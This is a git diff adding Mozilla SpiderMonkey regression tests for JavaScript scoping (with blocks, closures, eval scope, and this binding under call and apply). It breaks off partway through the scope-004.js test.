new file mode 100644
index 0000000000..1fcf0846d9
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-185485.js
@@ -0,0 +1,126 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 16 Dec 2002
+ * SUMMARY: Testing |with (x) {function f() {}}| when |x.f| already exists
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ * The idea is this: if |x| does not already have a property named |f|,
+ * a |with| statement cannot be used to define one. See, for example,
+ *
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=159849#c11
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=184107
+ *
+ *
+ * However, if |x| already has a property |f|, a |with| statement can be
+ * used to modify the value it contains:
+ *
+ * with (x) {f = 1;}
+ *
+ * This should work even if we use a |var| statement, like this:
+ *
+ * with (x) {var f = 1;}
+ *
+ * However, it should NOT work if we use a |function| statement, like this:
+ *
+ * with (x) {function f() {}}
+ *
+ * Instead, this should newly define a function f in global scope.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=185485
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 185485;
+var summary = 'Testing |with (x) {function f() {}}| when |x.f| already exists';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+var x = { f:0, g:0 };
+
+with (x)
+{
+ f = 1;
+}
+status = inSection(1);
+actual = x.f;
+expect = 1;
+addThis();
+
+with (x)
+{
+ var f = 2;
+}
+status = inSection(2);
+actual = x.f;
+expect = 2;
+addThis();
+
+/*
+ * Use of a function statement under the with-block should not affect
+ * the local property |f|, but define a function |f| in global scope -
+ */
+with (x)
+{
+ function f() {}
+}
+status = inSection(3);
+actual = x.f;
+expect = 2;
+addThis();
+
+status = inSection(4);
+actual = typeof this.f;
+expect = 'function';
+addThis();
+
+
+/*
+ * Compare use of function expression instead of function statement.
+ * Note it is important that |x.g| already exists. Otherwise, this
+ * would newly define |g| in global scope -
+ */
+with (x)
+{
+ var g = function() {}
+}
+status = inSection(5);
+actual = x.g.toString();
+expect = (function() {}).toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-191276.js b/js/src/tests/non262/Scope/regress-191276.js
new file mode 100644
index 0000000000..1a3897f823
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-191276.js
@@ -0,0 +1,91 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 30 January 2003
+ * SUMMARY: Testing |this[name]| via Function.prototype.call(), apply()
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=191276
+ *
+ * Igor: "This script fails when run in Rhino compiled mode, but passes in
+ * interpreted mode. Note that presence of the never-called |unused_function|
+ * with |f('a')| line is essential; the script works OK without it."
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 191276;
+var summary = 'Testing |this[name]| via Function.prototype.call(), apply()';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function F(name)
+{
+ return this[name];
+}
+
+function unused_function()
+{
+ F('a');
+}
+
+status = inSection(1);
+actual = F.call({a: 'aaa'}, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+actual = F.apply({a: 'aaa'}, ['a']);
+expect = 'aaa';
+addThis();
+
+/*
+ * Try the same things with an object variable instead of a literal
+ */
+var obj = {a: 'aaa'};
+
+status = inSection(3);
+actual = F.call(obj, 'a');
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+actual = F.apply(obj, ['a']);
+expect = 'aaa';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-192226.js b/js/src/tests/non262/Scope/regress-192226.js
new file mode 100644
index 0000000000..807a323809
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-192226.js
@@ -0,0 +1,88 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 07 February 2003
+ * SUMMARY: Testing a nested function call under |with| or |catch|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=192226
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 192226;
+var summary = 'Testing a nested function call under |with| or |catch|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var counter = 0;
+
+
+function f()
+{
+ try
+ {
+ with (Math)
+ {
+ test0();
+ test1(sin);
+ }
+ throw 1;
+ }
+ catch (e)
+ {
+ test0();
+ test1(e);
+ }
+}
+
+function test0()
+{
+ ++counter;
+}
+
+function test1(arg)
+{
+ ++counter;
+}
+
+
+status = inSection(1);
+f(); // sets |counter|
+actual = counter;
+expect = 4;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-202678-001.js b/js/src/tests/non262/Scope/regress-202678-001.js
new file mode 100644
index 0000000000..8ec59b0481
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-202678-001.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'bbb'; // NOT 'ccc'
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-202678-002.js b/js/src/tests/non262/Scope/regress-202678-002.js
new file mode 100644
index 0000000000..8e9ba75cb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-202678-002.js
@@ -0,0 +1,100 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 April 2003
+ * SUMMARY: Testing nested function scope capture
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=202678
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 202678;
+var summary = 'Testing nested function scope capture';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var self = this;
+
+
+function myFunc()
+{
+ var hidden = 'aaa';
+ insideFunc();
+
+ if (!self.runOnce)
+ {
+ var hidden = 'bbb';
+ self.outSideFunc = insideFunc;
+ self.runOnce = true;
+ }
+ else
+ {
+ var hidden = 'ccc';
+ self.outSideFunc = insideFunc;
+ }
+
+
+ function insideFunc()
+ {
+ actual = hidden;
+ }
+}
+
+
+
+status = inSection(1);
+myFunc(); // this sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(2);
+outSideFunc(); // sets |actual|
+expect = 'bbb';
+addThis();
+
+status = inSection(3);
+myFunc(); // sets |actual|
+expect = 'aaa';
+addThis();
+
+status = inSection(4);
+outSideFunc(); // sets |actual|
+expect = 'ccc';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-208496-001.js b/js/src/tests/non262/Scope/regress-208496-001.js
new file mode 100644
index 0000000000..d3160befc3
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-208496-001.js
@@ -0,0 +1,137 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * GLOBAL SCOPE
+ */
+function f(par)
+{
+ var a = par;
+
+ with(f)
+ {
+ var b = par;
+ actual = b;
+ }
+}
+
+status = inSection(1);
+f('abc'); // this sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(2);
+f(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+/*
+ * EVAL SCOPE
+ */
+var s = '';
+s += 'function F(par)';
+s += '{';
+s += ' var a = par;';
+
+s += ' with(F)';
+s += ' {';
+s += ' var b = par;';
+s += ' actual = b;';
+s += ' }';
+s += '}';
+
+s += 'status = inSection(3);';
+s += 'F("abc");'; // sets |actual|
+s += 'expect = "abc";';
+s += 'addThis();';
+
+s += 'status = inSection(4);';
+s += 'F(111 + 222);'; // sets |actual|
+s += 'expect = 333;';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * FUNCTION SCOPE
+ */
+function g(par)
+{
+ // Add outer variables to complicate the scope chain -
+ var a = '(TEST FAILURE)';
+ var b = '(TEST FAILURE)';
+ h(par);
+
+ function h(par)
+ {
+ var a = par;
+
+ with(h)
+ {
+ var b = par;
+ actual = b;
+ }
+ }
+}
+
+status = inSection(5);
+g('abc'); // sets |actual|
+expect = 'abc';
+addThis();
+
+status = inSection(6);
+g(111 + 222); // sets |actual|
+expect = 333;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-208496-002.js b/js/src/tests/non262/Scope/regress-208496-002.js
new file mode 100644
index 0000000000..57ec4088bf
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-208496-002.js
@@ -0,0 +1,129 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 05 June 2003
+ * SUMMARY: Testing |with (f)| inside the definition of |function f()|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=208496
+ *
+ * In this test, we check that static function properties of
+ * of |f| are read correctly from within the |with(f)| block.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 208496;
+var summary = 'Testing |with (f)| inside the definition of |function f()|';
+var STATIC_VALUE = 'read the static property';
+var status = '';
+var statusitems = [];
+var actual = '(TEST FAILURE)';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f(par)
+{
+ with(f)
+ {
+ actual = par;
+ }
+
+ return par;
+}
+f.par = STATIC_VALUE;
+
+
+status = inSection(1);
+f('abc'); // this sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(2);
+actual = f('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(3);
+f(111 + 222); // sets |actual| inside |f|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(4);
+actual = f(111 + 222);
+expect = 333;
+addThis();
+
+
+/*
+ * Add a level of indirection via |x|
+ */
+function g(par)
+{
+ with(g)
+ {
+ var x = par;
+ actual = x;
+ }
+
+ return par;
+}
+g.par = STATIC_VALUE;
+
+
+status = inSection(5);
+g('abc'); // this sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(6);
+actual = g('abc');
+expect = 'abc';
+addThis();
+
+status = inSection(7);
+g(111 + 222); // sets |actual| inside |g|
+expect = STATIC_VALUE;
+addThis();
+
+// test the return: should be the dynamic value
+status = inSection(8);
+actual = g(111 + 222);
+expect = 333;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-220362.js b/js/src/tests/non262/Scope/regress-220362.js
new file mode 100644
index 0000000000..99f8ca162f
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-220362.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 27 Sep 2003
+ * SUMMARY: Calling a local function from global scope
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=220362
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 220362;
+var summary = 'Calling a local function from global scope';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// creates a local function and calls it immediately
+function a()
+{
+ var x = 'A';
+ var f = function() {return x;};
+ return f();
+}
+
+// creates and returns a local function
+function b()
+{
+ var x = 'B';
+ var f = function() {return x;};
+ return f;
+}
+
+
+status = inSection(1);
+actual = a();
+expect = 'A';
+addThis();
+
+status = inSection(2);
+var f = b();
+actual = f();
+expect = 'B';
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/regress-446026-01.js b/js/src/tests/non262/Scope/regress-446026-01.js
new file mode 100644
index 0000000000..fa108b4445
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-446026-01.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var b = 45;
+
+// Getting "private" variables
+ var obj = (function() {
+ var a = 21;
+ return {
+ // public function must reference 'a'
+ fn: function() {a;}
+ };
+ })();
+
+expect = 'ReferenceError: a is not defined | undefined | 45';
+actual = '';
+
+var foo;
+
+try {
+ eval('bar = b; foo=a', obj.fn);
+} catch (e) {
+ actual = e;
+}
+print(actual += " | " + foo + " | " + bar); // 21
+reportCompare(expect, actual, summary);
+
+expect = 'No Error';
+actual = 'No Error';
+
+try
+{
+ eval("", {print:1});
+ print(1);
+}
+catch(ex)
+{
+ actual = ex + '';
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Scope/regress-446026-02.js b/js/src/tests/non262/Scope/regress-446026-02.js
new file mode 100644
index 0000000000..1a15b25e07
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-446026-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 446026;
+var summary = 'brian loves eval(s, o)';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = 'locallocal';
+
+var x = "global";
+(function() {
+ var x = "local";
+ (function() {
+ actual = x;
+ eval("", {});
+ actual += x;
+ })();
+})();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Scope/regress-77578-001.js b/js/src/tests/non262/Scope/regress-77578-001.js
new file mode 100644
index 0000000000..a9d7e83f17
--- /dev/null
+++ b/js/src/tests/non262/Scope/regress-77578-001.js
@@ -0,0 +1,114 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-11
+ *
+ * SUMMARY: Testing eval scope inside a function.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=77578
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 77578;
+var summary = 'Testing eval scope inside a function';
+var cnEquals = '=';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+// Note contrast with local variables i,j,k defined below -
+var i = 999;
+var j = 999;
+var k = 999;
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ testA();
+ testB();
+ testC();
+
+ // Compare actual values to expected values -
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function testA()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable i
+ sTestScript += "status = 'Section A of test';";
+ sTestScript += "var i=1;";
+ sTestScript += "actual = eval('i');";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('i');";
+
+ eval(sTestScript);
+}
+
+
+function testB()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local for-loop iterator j
+ sTestScript += "status = 'Section B of test';";
+ sTestScript += "for(var j=1; j<2; j++)";
+ sTestScript += "{";
+ sTestScript += " actual = eval('j');";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('j');";
+
+ eval(sTestScript);
+}
+
+
+function testC()
+{
+ // eval the test, so it compiles AFTER version() has executed -
+ var sTestScript = "";
+
+ // Define a local variable k in a try-catch block -
+ sTestScript += "status = 'Section C of test';";
+ sTestScript += "try";
+ sTestScript += "{";
+ sTestScript += " var k=1;";
+ sTestScript += " actual = eval('k');";
+ sTestScript += "}";
+ sTestScript += "catch(e)";
+ sTestScript += "{";
+ sTestScript += "};";
+ sTestScript += "expect = 1;";
+ sTestScript += "captureThis('k');";
+
+ eval(sTestScript);
+}
+
+
+function captureThis(varName)
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = varName + cnEquals + actual;
+ expectedvalues[UBound] = varName + cnEquals + expect;
+ UBound++;
+}
diff --git a/js/src/tests/non262/Scope/scope-002.js b/js/src/tests/non262/Scope/scope-002.js
new file mode 100644
index 0000000000..c0c9c764a0
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-002.js
@@ -0,0 +1,105 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-02
+ *
+ * SUMMARY: Testing visibility of outer function from inner function.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing visibility of outer function from inner function';
+var cnCousin = 'Fred';
+var cnColor = 'red';
+var cnMake = 'Toyota';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// TEST 1
+function Outer()
+{
+
+ function inner()
+ {
+ Outer.cousin = cnCousin;
+ return Outer.cousin;
+ }
+
+ status = 'Section 1 of test';
+ actual = inner();
+ expect = cnCousin;
+ addThis();
+}
+
+
+Outer();
+status = 'Section 2 of test';
+actual = Outer.cousin;
+expect = cnCousin;
+addThis();
+
+
+
+// TEST 2
+function Car(make)
+{
+ this.make = make;
+ Car.prototype.paint = paint;
+
+ function paint()
+ {
+ Car.color = cnColor;
+ Car.prototype.color = Car.color;
+ }
+}
+
+
+var myCar = new Car(cnMake);
+status = 'Section 3 of test';
+actual = myCar.make;
+expect = cnMake;
+addThis();
+
+
+myCar.paint();
+status = 'Section 4 of test';
+actual = myCar.color;
+expect = cnColor;
+addThis();
+
+
+
+//--------------------------------------------------
+test();
+//--------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/scope-003.js b/js/src/tests/non262/Scope/scope-003.js
new file mode 100644
index 0000000000..5f26926862
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-003.js
@@ -0,0 +1,106 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-03
+ *
+ * SUMMARY: Testing scope with nested functions
+ *
+ * From correspondence with Christopher Oliver <coliver@mminternet.com>:
+ *
+ * > Running this test with Rhino produces the following exception:
+ * >
+ * > uncaught JavaScript exception: undefined: Cannot find default value for
+ * > object. (line 3)
+ * >
+ * > This is due to a bug in org.mozilla.javascript.NativeCall which doesn't
+ * > implement toString or valueOf or override getDefaultValue.
+ * > However, even after I hacked in an implementation of getDefaultValue in
+ * > NativeCall, Rhino still produces a different result then SpiderMonkey:
+ * >
+ * > [object Call]
+ * > [object Object]
+ * > [object Call]
+ *
+ * Note the results should be:
+ *
+ * [object global]
+ * [object Object]
+ * [object global]
+ *
+ * This is what we are checking for in this testcase -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing scope with nested functions';
+var statprefix = 'Section ';
+var statsuffix = ' of test -';
+var self = this; // capture a reference to the global object;
+var cnGlobal = self.toString();
+var cnObject = (new Object).toString();
+var statusitems = [];
+var actualvalues = [];
+var expectedvalues = [];
+
+
+function a()
+{
+ function b()
+ {
+ capture(this.toString());
+ }
+
+ this.c = function()
+ {
+ capture(this.toString());
+ b();
+ }
+
+ b();
+}
+
+
+var obj = new a(); // captures actualvalues[0]
+obj.c(); // captures actualvalues[1], actualvalues[2]
+
+
+// The values we expect - see introduction above -
+expectedvalues[0] = cnGlobal;
+expectedvalues[1] = cnObject;
+expectedvalues[2] = cnGlobal;
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function capture(val)
+{
+ actualvalues[UBound] = val;
+ statusitems[UBound] = getStatus(UBound);
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + i + statsuffix;
+}
diff --git a/js/src/tests/non262/Scope/scope-004.js b/js/src/tests/non262/Scope/scope-004.js
new file mode 100644
index 0000000000..46928e6939
--- /dev/null
+++ b/js/src/tests/non262/Scope/scope-004.js
@@ -0,0 +1,188 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-16
+ *
+ * SUMMARY: Testing visiblity of variables from within a with block.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=90325
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 90325;
+var summary = 'Testing visiblity of variables from within a with block';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+// (compare local definitions which follow) -
+var A = 'global A';
+var B = 'global B';
+var C = 'global C';
+var D = 'global D';
+
+// an object with 'C' and 'D' properties -
+var objTEST = new Object();
+objTEST.C = C;
+objTEST.D = D;
+
+
+status = 'Section 1 of test';
+with (new Object())
+{
+ actual = A;
+ expect = 'global A';
+}
+addThis();
+
+
+status = 'Section 2 of test';
+with (Function)
+{
+ actual = B;
+ expect = 'global B';
+}
+addThis();
+
+
+status = 'Section 3 of test';
+with (this)
+{
+ actual = C;
+ expect = 'global C';
+}
+addThis();
+
+
+status = 'Section 4 of test';
+localA();
+addThis();
+
+status = 'Section 5 of test';
+localB();
+addThis();
+
+status = 'Section 6 of test';
+localC();
+addThis();
+
+status = 'Section 7 of test';
+localC(new Object());
+addThis();
+
+status = 'Section 8 of test';
+localC.apply(new Object());
+addThis();
+
+status = 'Section 9 of test';
+localC.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 10 of test';
+localC.apply(objTEST, [objTEST]);
+addThis();
